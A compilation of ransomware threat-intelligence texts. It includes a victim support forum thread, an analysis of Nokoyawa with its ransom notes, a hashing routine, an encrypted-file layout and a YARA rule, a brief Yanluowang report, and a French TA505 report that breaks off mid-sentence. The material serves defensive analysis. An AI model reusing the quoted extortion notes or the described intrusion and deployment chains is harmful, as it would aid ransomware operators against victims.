risks to public safety. These developments indicate that Russia aims to keep its hacking-related legislation mild while cracking down on cryptocurrencies. REvil’s arrest may be defined by these dynamics.
# RotorCrypt (RotoCrypt) Ransomware Support Topic - .tar, .c400, .c300, .GRANIT ## Started by Y2Breeze, Oct 17 2016 ### #1 Y2Breeze Hi A client of mine got infected by something that looks like the Gomasom ransomware, but the end files are all in *.tar. Here are 2 zip files, one with crypted files and the other with the same file from an old offline backup. Any idea how to decrypt this? Thanks, Olivier ### #2 Y2Breeze There was no instruction for decryption left on the computer. I wrote to the email using a random email and here is their answer: Good day Your files were encrypted/locked. As evidence, I can decrypt file 1 to 3 (1-30MB). The price of the transcripts of all the files on the server: 7 Bitcoin. Recommend to solve the problem quickly and not to delay. Also, give advice on how to protect your server against threats from the network (Files SQL MDF backup decryption strictly after payment)! ### #3 quietman7 You can submit samples of encrypted files and ransom notes to ID Ransomware for assistance with identification and confirmation. This is a service that helps identify what ransomware may have encrypted your files and then attempts to direct you to an appropriate support topic where you can seek further assistance. Uploading both encrypted files and ransom notes together provides a more positive match and helps to avoid false detections. If ID Ransomware cannot identify the infection, you can post the case SHA1 it gives you for Demonslay335 to manually inspect the files. ### #5 Y2Breeze ID Ransomware cannot identify the ransomware. SHA1 is fd65d1e0b248c8ec254ab3086f5877ff2065d72a. Sending the files to your second link right now. ### #7 mike 1 This is Trojan-Ransom.Win32.Rotor. ### #8 SamsonFromTheBible Is the virus on Mac by any chance? ### #9 Y2Breeze No, Windows 7. ### #10 Demonslay335 Interesting, I have not seen a ransomware use ".tar". It isn't a valid Tar archive either. Can you also upload the ransom note to ID Ransomware so I can archive it? Thanks for the sample mike1. Has any further analysis been done on it already? It crashed on my VM. I see RakhniDecryptor lists it, but it stated unsupported when I selected this user's files. ### #11 Y2Breeze There is no ransom note anywhere. All we figured out was to try to write to the email embedded in the encrypted files filename. ### #12 mike 1 Tech support at Kaspersky Lab said that it cannot be decrypted. ### #14 jumpline Hello, can someone help with a decoder? It encrypts all files [email protected]____.c400. Below are links to a virus and a link to the encrypted file. ### #15 quietman7 You can submit samples of encrypted files and ransom notes to ID Ransomware for assistance with identification and confirmation. This is a service that helps identify what ransomware may have encrypted your files and then attempts to direct you to an appropriate support topic where you can seek further assistance. Uploading both encrypted files and ransom notes together provides a more positive match and helps to avoid false detections.
# Nokoyawa Ransomware | New Karma/Nemty Variant Wears Thin Disguise **Antonis Terefos** ## Executive Summary At the beginning of February 2022, SentinelLabs observed two samples of a new Nemty variant dubbed “Nokoyawa.” SentinelLabs considers Nokoyawa to be an evolution of the previous Nemty strain, Karma. The developers have attempted to enhance code responsible for excluding folders from encryption, but SentinelLabs' analysis finds that the algorithm contains logical flaws. In March, TrendMicro suggested this ransomware bore some relation to Hive. We assess that Hive and Nokoyawa are different and that the latter is not a rebrand of Hive RaaS. ## Overview In this post, we take a broader look at the similarities between Nokoyawa and Karma ransomware. Previous researchers have highlighted similarities in the attack chain between Nokoyawa and Hive ransomware, concluding that “Nokoyawa is likely connected with Hive, as the two families share some striking similarities in their attack chain, from the tools used to the order in which they execute various steps.” Our analysis contradicts that finding, and we assess Nokoyawa is clearly an evolution of Karma (Nemty), bearing no major code similarities to Hive. ## Nokoyawa and Karma Variant Similarities Both Nokoyawa and Karma variants manage multi-threaded encryption by creating an input/output (I/O) completion port (CreateIoCompletionPort), which allows communication between the thread responsible for the enumeration of files and the sub-threads responsible for the file encryption. In both cases, public keys for the encryption and ransom note are encoded with Base64. Like Karma, Nokoyawa accepts different command line parameters, although in the latter they are documented by the developer via a `-help` command. ### Nokoyawa Command Line Support Aside from the `-help` command, three other commands (`-network`, `-file`, and `-dir`) are also provided. | Parameter | Functionality | |-----------|---------------| | -help | Prints command line options for execution of ransomware. | | -network | Encrypts local and network shares. | | -file | Encrypts specified file. | | -dir | Encrypts specified directory. | If the ransomware is executed without any parameter, it then encrypts the machine without enumerating and encrypting network resources. One new parameter not observed in the Karma version is `-network`, which is responsible for encrypting network shares. Network enumeration is achieved by calling WNetOpenEnumW, WNetEnumResourceW, and WNetCloseEnum. There are no significant similarities between the ransom notes except the use of email for contact points. Karma variants contained an `.onion` link that was also present in the Karma ransom note. We did not find any `.onion` links in Nokoyawa code or ransom note. ### The Nokoyawa Ransom Note ``` Dear usernamme, your files were encrypted, some are compromised. Be sure, you can't restore it without our help. You need a private key that only we have. Contact us to reach an agreement or we will leak your black shit to media: [email protected] [email protected] 亲爱的用户名,您的文件已加密,有些已被泄露。 请确保,如果没有我们的帮助,您将无法恢复它。 您需要一个只有我们拥有的私钥。 联系我们以达成协议,否则我们会将您的黑屎泄露给媒体: [email protected] [email protected] ``` ### The Karma Ransom Note ``` Your network has been breached by Karma ransomware group. We have extracted valuable or sensitive data from your network and encrypted the data on your systems. Decryption is only possible with a private key that only we possess. Our group's only aim is to financially benefit from our brief acquaintance, this is a guarantee that we will do what we promise. Scamming is just bad for business in this line of work. Contact us to negotiate the terms of reversing the damage we have done and deleting the data we have downloaded. We advise you not to use any data recovery tools without leaving copies of the initial encrypted file. You are risking irreversibly damaging the file by doing this. If we are not contacted or if we do not reach an agreement we will leak your data to journalists and publish it on our website. If a ransom is paid we will provide the decryption key and proof that we deleted your data. When you contact us we will provide you proof that we can decrypt your files and that we have downloaded your data. How to contact us: [email protected] [email protected] [email protected] ``` The ransom note filename uses a similar format as the previous versions: | Nokoyawa | Karma | |----------|-------| | ransom_extension | “NOKOYAWA” | “KARMA” & “KARMA_V2” | | note_name | “_readme.txt” | “-ENCRYPTED.txt” | The `<ransom_extension>` string has been used for many different functions, including: - file extension of encrypted files - appended as data to an encrypted file - ransom note filename part - mutex (the NOKOYAWA variant is observed to not make use of Mutexes) - to denote files to be excluded from further processing (e.g., to avoid running in a loop) ## Nokoyawa’s Flawed Encryption Routine During the file and folder enumeration, the new variant creates a hash of the enumerated folder and compares it to those of excluded folders. However, this custom hashing algorithm appears to have flaws as it doesn’t seem logical nor does it appear to work as expected. Below is a Python representation of the hashing algorithm. ```python def nokoyawa_dir_hashing(folder): folder_len = len(folder) folder = '\x00'.join([c for c in folder]) nhash = 0x1505 i = 0 while i < folder_len: c = ord(folder[i]) c = c if c < 0x61 else c - 0x20 nhash = ((nhash << 5) + nhash) + c i += 2 if not c else 1 return nhash & 0xFFFFFFFF ``` The implementation of this flawed hashing algorithm in some cases results in excluding multiple folders. Logically, one would expect there to be a 1:1 correlation between a hash and the folder to be excluded. However, the flawed code effectively makes it possible for multiple folders to be excluded based on a single hash. This code does not appear in Karma variants, which instead contain hardcoded strings denoting which folders to ignore during encryption. ### Folders Intended to Be Excluded | Hash | Folders Intended To Be Excluded | |--------------|---------------------------------| | 0x11f299b5 | program files | | 0x78fb3995 | program files (x86) | | 0x7c80b426 | appdata | | 0x7c8cc47c | windows | | 0xc27bb715 | programdata | | 0xd6f02889 | $recycle.bin | For extensions, the ransomware doesn't have any hashing algorithm and compares the raw strings with the extracted extension of the file. The excluded extensions are `.exe`, `.dll`, and `.lnk`. Files containing "NOKOYAWA" are also excluded. Both Nokoyawa and Karma variants dynamically load `bcrypt.dll` and call `BCryptGenRandom` in order to generate 0x20 random bytes. They generate an ephemeral Sect233r1 key pair using the generated random bytes as the seed. The malware then uses the private ephemeral key and the public embedded key to generate a shared Salsa20 key, which is subsequently used for the file encryption. The Salsa20 nonce is hardcoded as “lvcelvce” in Nokoyawa, whereas in the Karma version it was "11111111". An I/O completion packet is sent to the thread responsible for encryption. The packet includes the following: - File handle - File size - File data - Salsa20 key - Salsa nonce - public ephemeral key The encryption thread has a switch containing four cases, as follows: - Case 1: Writes encrypted content and decryption struct to file and appends "extension"/"variant name". - Case 2: Calculates validation SHA1 hash and encrypts file data with Salsa20. - Case 3: Closes File Handle and moves files with the new extension. - Case 4: Exits. In both variants, the initial switch case is "2". ### Encryption Thread Case Handler During Case 2, the malware adds a SHA1 checksum, which is possibly validated during the decryption phase. The method runs through the following logic: - Allocates 0x13 bytes (0x14 required for SHA1) - XORs Salsa key with a buffer of "6". - Concatenates file data to XORed Salsa key - Calculates SHA1. - XORs Salsa key with a buffer of "\". - Concatenates SHA1 hash to the second XORed Salsa key. - Calculates validation SHA1. - Validation SHA1 hash first 0x13 bytes are added to the encrypted file struct. Files encrypted by Nokoyawa will have the following structure. ```c struct nokoyawa_encrypted_file { BYTE encrypted_file_data[file_size], // using salsa20 BYTE public_ephemeral_key[0x40], // Sect233r1 BYTE validation_hash[0x13], // last byte is chopped STRING ransomware_extension } ``` The private key required for decryption is held by the attacker. When made available to the victim, the decryption routine reads the struct, extracts the public ephemeral key and generates the Salsa 20 key using the private key. The encrypted data is then decrypted with the key and validated by replicating the validated hash. ## Conclusion Nokoyawa code similarity and structure suggest it to be an evolution of the previous Nemty strain, Karma. This appears to be another attempt from the developer to confuse attribution. At this time, the actor appears not to have or provide any onion leak page. SentinelLabs could not validate previous research suggesting Nokoyawa is related to Hive. Given the lack of code similarities between the two and the lack of further correlating data, we can only suggest that earlier researchers' findings may be explained by the possibility of an affiliate using both Hive and Nokoyawa. SentinelLabs continues to follow and analyze the development of Nemty ransomware variants. ## Indicators of Compromise **Karma Ransomware SHA1** - 960fae8b8451399eb80dd7babcc449c0229ee395 **Nokoyawa Ransomware SHA1** - 2904358f825b6eb6b750e13de43da9852c9a9d91 - 2d92468b5982fbbb39776030fab6ac35c4a9b889 - 32c2ecf9703aec725034ab4a8a4c7b2944c1f0b7 **Nokoyawa Ransom Note Email Addresses** - [email protected] - [email protected] - [email protected] - [email protected] ## Nokoyawa YARA Rule ```yara rule Nokoyawa_Nemty { meta: author = "@Tera0017" description = "Nokoyawa, Nemty/Karma ransomware variant" strings: $code1 = {B8 (41| 43) 00 00 00 [10-30] 83 F8 5A} $code2 = {48 8B 4C 24 08 F0 0F C1 01 03 44 24 10} $code3 = {83 E8 20 88 [7] 48 C1 E0 05 48 03 44 24} $code4 = {48 C7 44 24 ?? 05 15 00 00} $string1 = "RGVhciB1c2VybmFtbWUsIHlvdXIgZmlsZXMgd2VyZSBlbmNyeXB0ZWQsIHNvbWUgY" ascii $string2 = "-network" fullword wide $string3 = "-help" fullword wide $winapi1 = "PostQueuedCompletionStatus" fullword ascii $winapi2 = "GetSystemInfo" fullword ascii $winapi3 = "WNetEnumResourceW" fullword ascii $winapi4 = "GetCommandLineW" fullword ascii $winapi5 = "BCryptGenRandom" fullword ascii condition: all of ($winapi*) and 4 of ($code*, $string*) } ```
# New Yanluowang Ransomware Used in Targeted Attacks The Symantec Threat Hunter Team, a part of Broadcom Software, has uncovered what appears to be a new ransomware threat called Yanluowang that is being used in targeted attacks. In a recent attempted ransomware attack against a large organization, Symantec obtained a number of malicious files that, upon further investigation, revealed the threat to be a new, if somewhat underdeveloped, ransomware family. The Threat Hunter Team first spotted suspicious use of AdFind, a legitimate command-line Active Directory query tool, on the victim organization’s network. This tool is often abused by ransomware attackers as a reconnaissance tool, as well as to equip the attackers with the resources that they need for lateral movement via Active Directory. Just days after the suspicious AdFind activity was observed on the victim organization, the attackers attempted to deploy the Yanluowang ransomware. Before the ransomware is deployed on a compromised computer, a precursor tool carries out the following actions: - Creates a .txt file with the number of remote machines to check in the command line - Uses Windows Management Instrumentation (WMI) to get a list of processes running on the remote machines listed in the .txt file - Logs all the processes and remote machine names to processes.txt The Yanluowang ransomware is then deployed and carries out the following actions: - Stops all hypervisor virtual machines running on the compromised computer - Ends processes listed in processes.txt, which includes SQL and backup solution Veeam - Encrypts files on the compromised computer and appends each file with the .yanluowang extension - Drops a ransom note named README.txt on the compromised computer The ransom note dropped by Yanluowang warns victims not to contact law enforcement or ransomware negotiation firms. If the attackers’ rules are broken, the ransomware operators say they will conduct distributed denial of service (DDoS) attacks against the victim, as well as make “calls to employees and business partners.” The criminals also threaten to repeat the attack “in a few weeks” and delete the victim’s data. ## Protection File based: - Ransom.Yanluowang ### Indicators of Compromise - d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c - 49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d - 2c2513e17a23676495f793584d7165900130ed4e8cccf72d9d20078e27770e04 ## About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# Évolution de l’activité du groupe cybercriminel TA505 ## 1 TA505 de 2014 à 2017 L’activité du mode opératoire TA505 remonterait à au moins 2014 mais c’est seulement en juillet 2017 que la première mention publique de TA505 fait son apparition sur Twitter. Jusqu’en 2017, son activité semble se concentrer sur la distribution de chevaux de Troie bancaires et de rançongiciels. ### 1.1 Codes malveillants distribués #### 1.1.1 Chevaux de Troie bancaires En matière de charge finale, TA505 fait usage depuis ses débuts de chevaux de Troie bancaires répandus qui ne lui sont pas propres, tels que Dridex et Trickbot. **Dridex** TA505 aurait propagé le code malveillant Dridex à partir de juillet 2014, soit un mois après sa création (juin 2014). Son utilisation de botnets ID spécifiques au sein du réseau de botnets Dridex, contrôlé par le groupe cybercriminel EvilCorp, laisse à penser que TA505 a été un affilié de Dridex de 2014 à 2017. Les botnets ID utilisés par TA505 entre 2014 et 2015 auraient été les botnets ID 125, 220 et 223. Le botnet 220 aurait contenu 9650 bots en avril 2015 et aurait principalement ciblé des banques, notamment en France. En 2016, TA505 se serait très majoritairement concentré sur l’utilisation du rançongiciel Locky, au détriment du code malveillant Dridex, puis aurait repris la propagation de Dridex en 2017 au travers des botnets ID 7200 et 7500. TA505 a finalement cessé définitivement l’utilisation de Dridex courant 2018. **TrickBot** TA505 aurait également été un affilié de TrickBot, connu sous le pseudonyme mac1. L’utilisation de TrickBot par TA505 n’aurait duré que quelques mois en 2017. Par exemple, une campagne datant de juin 2017 a ciblé la France et le Royaume-Uni. #### 1.1.2 Rançongiciels En 2016, le rançongiciel Locky fait son apparition. Très utilisé, il fait de nombreuses victimes. De la même manière que Dridex, Locky fonctionne sur le principe d’un modèle d’affiliés. D’après Proofpoint, l’affilié numéro 3 de Locky et l’affilié du botnet Dridex ID 220, alors TA505, auraient des points communs, tels que des leurres similaires au niveau de leurs courriels d’hameçonnage ainsi que de fortes similitudes au niveau des codes Javascript, VBScript et macros Microsoft Word utilisés. Il est également à noter une absence de campagnes Dridex 220 concomitantes à l’émergence de Locky. Proofpoint dresse également des liens entre Locky et l’affilié du botnet Dridex ID 7200, alors TA505, comparant des campagnes Dridex de 2017 à des campagnes Locky passées. Ainsi, TA505 serait l’affilié numéro 3 (« Affid=3 ») de ce rançongiciel. Bien que le principal rançongiciel utilisé par le groupe demeure Locky, TA505 aurait pratiqué un usage ponctuel d’autres rançongiciels (Bart, Jaff, Scarab, Philadelphia, GlobeImposter et GandCrab). L’activité de Locky cesse en 2017. ### 1.2 Méthodes de distribution et compromission TA505 semble avoir procédé à la distribution de ses charges malveillantes uniquement par campagnes de courriels d’hameçonnage. Ce mode opératoire se distingue à cette époque par son recours massif au botnet Necurs pour la distribution de ses courriels. Les rapports en sources ouvertes associent tous les rançongiciels distribués par le botnet Necurs à TA505. Pourtant, certains de ces rançongiciels ont été utilisés sur les mêmes périodes. Il semble peu vraisemblable que TA505 ait opéré simultanément d’aussi nombreux codes de chiffrement. Il est plus probable que Necurs ait eu plusieurs clients simultanément. Ce mode opératoire s’appuie exclusivement durant cette période sur de l’ingénierie sociale pour faire exécuter ses charges contenues dans des pièces jointes malveillantes liées aux courriels envoyés. Ces pièces jointes pouvaient notamment être des archives zip ou 7zip contenant des scripts VBS ou Javascript à faire exécuter par ses victimes, des pages HTML contenant du Javascript malveillant, ou des documents Office piégés via macros malveillantes. Bien que TA505 ne semble avoir eu recours à aucune vulnérabilité logicielle pour compromettre ses cibles, il est intéressant de constater qu’il s’est tenu au courant des dernières techniques d’ingénierie sociale découvertes. Ainsi, il a distribué des documents Office piégés via le mécanisme DDE moins d’un mois après que le potentiel d’abus de cette fonctionnalité ait été largement médiatisé. ## 2 Évolution de TA505 depuis 2018 L’année 2018 marque un tournant dans les méthodes d’attaque du mode opératoire. TA505 diminue alors graduellement sa distribution de codes malveillants bancaires et rançongiciels pour passer à la distribution de portes dérobées. Cependant, le mode opératoire ne semble pas non plus se contenter d’exécuter une charge sur le poste de sa victime. En effet, s’il le juge d’intérêt, TA505 tente alors de compromettre l’intégralité du système d’information (SI) dans lequel il a pénétré. Il semble également, dans certains cas, revendre les accès aux portes dérobées qu’il a installées, ce qui rend complexe la distinction entre les activités spécifiques à TA505 et celles de ses potentiels clients. La chaîne d’attaque décrite dans ce chapitre correspond aux activités que l’ANSSI pense liées au mode opératoire. ### 2.1 Vecteur d’infection L’unique vecteur d’infection pour l’instant connu du mode opératoire TA505 demeure le courriel d’hameçonnage incluant une pièce jointe ou un lien malveillant. Jusqu’en 2018, le mode opératoire s’appuyait quasi-exclusivement sur le botnet Necurs pour distribuer ses charges. Cependant, suite à l’indisponibilité du botnet en janvier et février 2018, TA505 semble avoir moins souvent recours à ses services. Ce dernier point est cependant incertain car peu d’informations existent sur les méthodes de distribution de courriel alternatives du mode opératoire. Étant donné que TA505 a, à plusieurs reprises, déployé un implant de vols d’identifiants de messagerie chez ses victimes, il est possible que ce dernier accumule des adresses courriel compromises pour distribuer ses nouvelles campagnes d’hameçonnage. Il a également été mentionné que certains de ses courriels d’hameçonnage avaient été distribués via des machines infectées par le code malveillant Amadey. Étant donné que TA505 utilise également le code malveillant Amadey, il est possible que ce dernier se constitue son propre botnet Amadey pour distribuer ses courriels malveillants, ou qu’il loue les services d’un botnet Amadey déjà existant. Ce mode opératoire usurpe également les adresses d’envoi de ses courriels, ce qui rend difficile l’analyse de son infrastructure de distribution de courriels. ### 2.2 Ingénierie sociale Le mode opératoire continue de s’appuyer sur de l’ingénierie sociale pour exécuter ses charges malveillantes sur les machines des destinataires de ses courriels, utilisant de nombreux formats de fichiers de pièces jointes pour contourner les systèmes de sécurité des cibles. Le but de ces documents était souvent d’exécuter via des macros des commandes msiexec sur la machine de la victime pour télécharger et exécuter un code malveillant. Cependant, au cours du deuxième semestre 2019 et premier semestre 2020, TA505 semble avoir modifié et stabilisé sa méthode d’ingénierie sociale. Ce mode opératoire envoie maintenant comme pièce jointe une page HTML contenant du code Javascript malveillant. Ce dernier redirige la victime vers une URL d’un site légitime mais compromis. Cette même URL correspond à une page HTML contenant un code Javascript minimal redirigeant la victime vers une page hébergée par une machine contrôlée par le mode opératoire. Cette page imite celle d’un site légitime de partage de fichiers adapté à la cible tel que Onedrive, Dropbox ou Naver (lors d’une de ses campagnes en Corée du Sud). La victime est alors incitée à télécharger, ouvrir et activer les macros VBA d’un document Office, généralement Excel, contenant une charge malveillante. Le mode opératoire augmente graduellement la complexité de sa méthode d’ingénierie sociale. En octobre 2019, ce dernier envoyait directement des liens vers ses pages d’hameçonnage dans ses courriels malveillants. Il a ensuite eu recours à des raccourcisseurs d’URL pour masquer ces liens malveillants. En fin de février 2020, il a abandonné la stratégie des raccourcisseurs d’URL et a commencé à utiliser des pièces jointes HTML avec Javascript avec une redirection depuis un site compromis, ce qui complique encore la détection de ses courriels. De plus, certaines de ses pages de redirection intègrent un lien vers iplogger.org, un service permettant au mode opératoire d’inspecter les adresses IP venant visiter ces pages. Enfin, il a déjà été observé que les pages d’hameçonnage du mode opératoire distribuaient des documents Office vides lorsqu’une personne autre que la victime les visitait. Ce comportement peut s’expliquer par le fait que le mode opératoire filtre les adresses IP auxquelles il choisit de distribuer ses documents piégés ou qu’il ne distribue ses documents malveillants que dans des plages de temps restreintes. ### 2.3 Compromission initiale TA505 dispose d’un arsenal d’attaque varié à déployer chez les victimes ayant exécuté ses pièces jointes malveillantes. Il est composé de codes aussi bien disponibles publiquement que commercialement sur le marché noir, ou qui semblent lui être exclusifs. Il dispose donc de capacités de développement ou des ressources financières pour s’en procurer. Le mode opératoire déploie son arsenal en plusieurs étapes et dispose de codes différents pour chacune d’entre elles. #### 2.3.1 Codes de premier niveau Le mode opératoire TA505 semble avoir expérimenté plusieurs codes de premier niveau. Il a ainsi brièvement utilisé les codes suivants : - **Quant Loader** est un simple code de téléchargement disponible à bas prix sur le marché noir. Le mode opératoire y a eu recours de janvier à avril 2018. - **Marapest** un code de téléchargement qui semble spécifique au mode opératoire. Bien que construit de façon modulaire et disposant d’un module de reconnaissance connu, peu d’attaques faisant appel à ce code ont été documentées et le mode opératoire semble avoir cessé de l’utiliser depuis août 2018. - **Amadey** est un code de téléchargement disponible sur le marché noir. Ce code aurait été utilisé d’avril à juin 2019 par le mode opératoire. - **Andromut**, aussi connu sous le nom de Gelup, est un code de téléchargement qui semble spécifique au mode opératoire. Ce code se distingue des précédents par la mise en place de mécanismes d’anti-analyse. Toutefois, aucune occurrence de ce code ne paraît avoir été détectée en dehors de l’été 2019. Le mode opératoire TA505 ne semble donc pas hésiter à mettre de côté certains de ses codes d’attaque pour en tester d’autres. Malgré cela, une tendance se dégage : il semble utiliser de façon plus régulière le code malveillant de premier niveau Get2, dont la composante porte dérobée est également appelée Friendspeak. Depuis la première publication sur ce code malveillant en septembre 2019, le mode opératoire y a régulièrement recours. Get2 effectue une reconnaissance basique de la machine qu’il infecte en envoyant à son serveur C2 des informations telles que le nom de la machine infectée, le nom de l’utilisateur, la version du système d’exploitation Windows et une liste des processus actifs sur la machine. Il reçoit en retour, si la machine est jugée d’intérêt, l’URL à laquelle il peut télécharger le code malveillant de niveau supérieur. #### 2.3.2 Codes de deuxième niveau Une fois son code de premier niveau déployé, le mode opératoire peut déployer plusieurs codes malveillants. - **Flawed Ammyy** existe depuis 2016 et est construit à partir du code source publiquement divulgué de l’outil légitime d’administration à distance Ammyy Admin. Bien que disposant de fonctionnalités de RAT, Flawed Ammyy a également été utilisé par le mode opératoire comme code de premier niveau. Le mode opératoire y aurait eu recours entre mars 2018 et septembre 2019. Flawed Ammyy semble être exclusivement utilisé par TA505 depuis 2018. Cependant, cette porte dérobée a aussi été utilisée avant cette période, alors que TA505 n’utilisait pas encore ce type de code. Il n’est donc pas entièrement établi que Flawed Ammyy soit exclusif à TA505. - **tRat** a été utilisé par TA505 en octobre 2018. Peu d’informations sont disponibles sur cette porte. En effet, ce dernier nécessite de télécharger des modules pour acquérir des fonctionnalités, or aucun de ses modules n’a été documenté. - **Remote Manipulator System**, également appelé RMS ou RmanSyS, est un outil légitime développé par l’entreprise russe TEKTONIT, détourné pour être utilisé à des fins malveillantes. Cet outil est disponible gratuitement à des fins non commerciales et des versions corrompues sont également disponibles sur le marché noir. TA505 aurait commencé à déployer cet outil à partir de novembre 2018, et ce jusqu’à juin 2019. - **La porte dérobée ServHelper** existe en deux versions : une version sert de code de premier niveau, l’autre dispose de fonctionnalités de RAT. Le mode opératoire aurait utilisé cette porte dérobée sur une période couvrant au moins novembre 2018 à août 2019. ServHelper ne semble pas spécifique au mode opératoire : plusieurs chercheurs en sécurité informatique ont ainsi observé des attaques l’incluant mais employant également des méthodes et outils différents de ceux de TA505. - **Flawed Grace**, également connue sous le nom de Gracewire, est une porte dérobée disposant de fonctionnalités standards de RAT. Elle a été mentionnée comme utilisée pour la première fois par TA505 en décembre 2018 et serait toujours utilisée par ce dernier en 2020. À l’instar de Flawed Ammyy, TA505 semble pour l’instant être le seul à utiliser cette porte dérobée. Cependant, son existence antérieure à 2018 rend son usage exclusif par TA505 incertain. - **La porte dérobée FlowerPippi** a été détectée une fois en juin 2019. Ce code malveillant dispose de fonctionnalités basiques de RAT et est également prévu pour être utilisé comme un code de premier niveau en faisant une reconnaissance initiale du système infecté. - **SDBbot** est un code malveillant apparemment spécifique au mode opératoire. Sa première utilisation a été relevée en septembre 2019 et le mode opératoire n’a pas cessé de l’utiliser depuis. ### 2.4 Compromission du système d’information Une fois ses codes installés, le mode opératoire peut chercher à se latéraliser au sein du réseau compromis. Son objectif est alors de devenir administrateur de domaine. Pour arriver à ses fins, il emploie plusieurs méthodes. #### 2.4.1 Exploration du SI Le mode opératoire scanne le réseau pour collecter plus d’informations sur le SI et découvrir des services vulnérables. Un des outils utilisés par TA505 est la suite d’outils PowerSploit, un ensemble de scripts PowerShell disponibles en source ouverte utilisés pour tester la sécurité d’un réseau informatique. Il s’intéresse particulièrement à l’Active Directory du SI et a déjà déployé par le passé un autre outil de test de pénétration, PingCastle, pour établir un diagnostic des failles de configuration affectant ce service. Bien que cruciales pour sa prise de contrôle du réseau, le mode opératoire ne semble pas nécessairement mener en premier ces opérations. Dans plusieurs cas de figure observés, le mode opératoire semble d’abord chercher à compromettre plusieurs autres machines avant de scanner le SI et l’Active Directory. Le mode opératoire semble continuer son travail de cartographie du réseau après avoir compromis les informations d’authentification d’un administrateur de domaine. En effet, il a déjà été observé que TA505 utilisait le logiciel de requête d’Active Directory nommé AdFind sur un contrôleur de domaine pour cartographier intégralement un SI dont il était passé administrateur de domaine. #### 2.4.2 Élévation de privilèges La méthode privilégiée par TA505 pour augmenter ses privilèges et se latéraliser dans un réseau semble être la collecte d’informations d’authentification sur les machines compromises. L’outil de collecte Mimikatz, disponible gratuitement en source ouverte, est régulièrement utilisé par le mode opératoire et il n’est pas à exclure qu’il ait utilisé d’autres outils de ce type. Des hypothèses, non confirmées à ce stade, ont également été formulées sur l’utilisation de la vulnérabilité MS17-010 par le mode opératoire. #### 2.4.3 Latéralisation Pour faciliter ses opérations de latéralisation et pour augmenter sa persistance au sein du réseau compromis, le mode opératoire a très fréquemment recours au logiciel de test de pénétration Cobalt Strike et à l’outil TinyMet. Cependant, TA505 utilise également souvent des outils natifs de Windows tels que WMIC et RDP pour exécuter ses codes malveillants sur de nouvelles machines en utilisant des identifiants volés. ### 2.5 Actions sur objectif #### 2.5.1 Chiffrement du SI Le but principal du mode opératoire est de déployer un rançongiciel. L’utilisation de rançongiciels par ce mode opératoire remonte à au moins 2016 avec son emploi du code malveillant Locky. Les évolutions majeures depuis 2018 résident dans le fait que TA505 cherche désormais à compromettre par rançongiciel des entités à même de payer une rançon de montant élevé (big game hunting) et à chiffrer toutes les machines du SI compromis. Lors des attaques associées à TA505, le rançongiciel Clop, également appelé Ciop, a été déployé. Ce code malveillant a été observé pour la première fois en février 2019. Il est dépourvu de fonctionnalités de propagation automatique. Par conséquent, le mode opératoire utilise certains outils spécifiques pour le déployer à l’échelle d’un parc informatique entier. Il exécute via un script un code malveillant, peu documenté en source ouverte mais jusqu’ici nommé systématiquement « sage.exe » par le mode opératoire, sur plusieurs machines. Ces machines se connectent alors à l’ensemble des machines du SI victime pour exécuter sur chacune d’entre elles successivement deux charges avec un compte d’administrateur de domaine : - un code malveillant nommé DeactivateDefender dont le but est précisément de désactiver Windows Defender ; - le rançongiciel lui-même. Il est probable que TA505 s’appuie sur les cartographies effectuées au cours de la compromission graduelle du SI pour choisir les machines sur lesquelles « sage.exe » sera exécuté et maximiser l’impact de son rançongiciel. Une occurrence d’utilisation du rançongiciel Rapid par TA505 a également été constatée par l’Institut de sécurité financière sud-coréen (FSI) en décembre 2019. #### 2.5.2 Chantage Un site Internet a été créé en mars 2020 afin de publier les données exfiltrées de victimes du rançongiciel Clop qui n’auraient pas payé leur rançon, probablement afin d’ajouter une pression supplémentaire sur les futures victimes. Un communiqué a également été publié par les attaquants stipulant qu’aucun hôpital ne soit malencontreusement victime de leur rançongiciel, le déchiffreur des données lui serait immédiatement fourni. Si, comme supposé, Clop est spécifique à TA505, cela illustre la capacité de ce mode opératoire à suivre une tendance initiée par d’autres opérateurs de rançongiciels. #### 2.5.3 Spécificité de Clop à TA505 L’ANSSI avait évoqué un lien technique entre le rançongiciel Clop et TA505. En effet, Clop et Flawed Ammyy avaient été signés par le même certificat de sécurité valide mais malveillant. On peut également ajouter à cette observation le fait que ces deux codes malveillants ont été compilés dans des environnements similaires et modifiés simultanément pour changer dans leurs chaînes de caractères la lettre « l » en « i » majuscule. De plus, ils ont porté le même nom caractéristique « swaqp.exe » lors d’attaques distinctes. Il paraît donc probable qu’un unique mode opératoire manipule ces deux codes. Étant donné que TA505 est le seul qui a été observé y avoir eu recours depuis 2018, il semble que ces deux codes lui soient spécifiques. ### 2.6 Méthodes d'évasion Le mode opératoire multiplie les stratégies pour minimiser la détection de ses codes malveillants. Au-delà de l’utilisation de formats de pièces jointes inhabituels, TA505 utilisait également des macros de type Excel 4.0. Ces macros particulièrement anciennes étaient généralement peu détectées par les solutions de sécurité au moment de leur adoption par le mode opératoire. De la même façon, TA505 s’appuie beaucoup sur des outils natifs de Windows, qui demandent une surveillance plus poussée du SI pour que leur utilisation malveillante soit détectée. #### 2.6.1 Utilisation de codes de compression TA505 utilise un code de compression pour rendre ses codes malveillants plus difficiles à analyser. Ce code, appelé Minedoor, a été utilisé pour compresser aussi bien les codes de compromission initiale du mode opératoire tels que Flawed Grace, que les codes finaux déployés par TA505 tels que Clop ou DeactivateDefender. Bien que ce code de compression constitue un moyen de suivi intéressant de l’arsenal de TA505, il convient d’être prudent. Des attaques utilisant des codes protégés par Minedoor aux chaînes de compromission très différentes de celle de TA505 ont déjà été observées. Il semble donc que ce code ne soit pas propre à TA505. #### 2.6.2 Utilisation de binaires signés Le mode opératoire signe ses codes malveillants en utilisant des certificats de sécurité légitimes mais malveillants. Ces derniers usurpent souvent des noms d’entreprises existantes. Les codes de TA505 deviennent donc plus difficiles à détecter. À l’instar du code malveillant Minedoor, il n’est pas certain que l’ensemble des codes malveillants signés par les certificats utilisés par TA505 soient liés à ce mode opératoire. En effet, il est possible que TA505 ait eu recours à un intermédiaire pour lui signer ses codes et que cet intermédiaire réutilise ces certificats pour signer les codes malveillants d’autres modes opératoires. ### 2.7 Infrastructure d’attaque Comme mentionné en section 2.1, l’infrastructure utilisée par le mode opératoire pour distribuer ses courriels est peu documentée. TA505 semble particulièrement recourir à de l’infrastructure louée pour mener à bien ses opérations, notamment 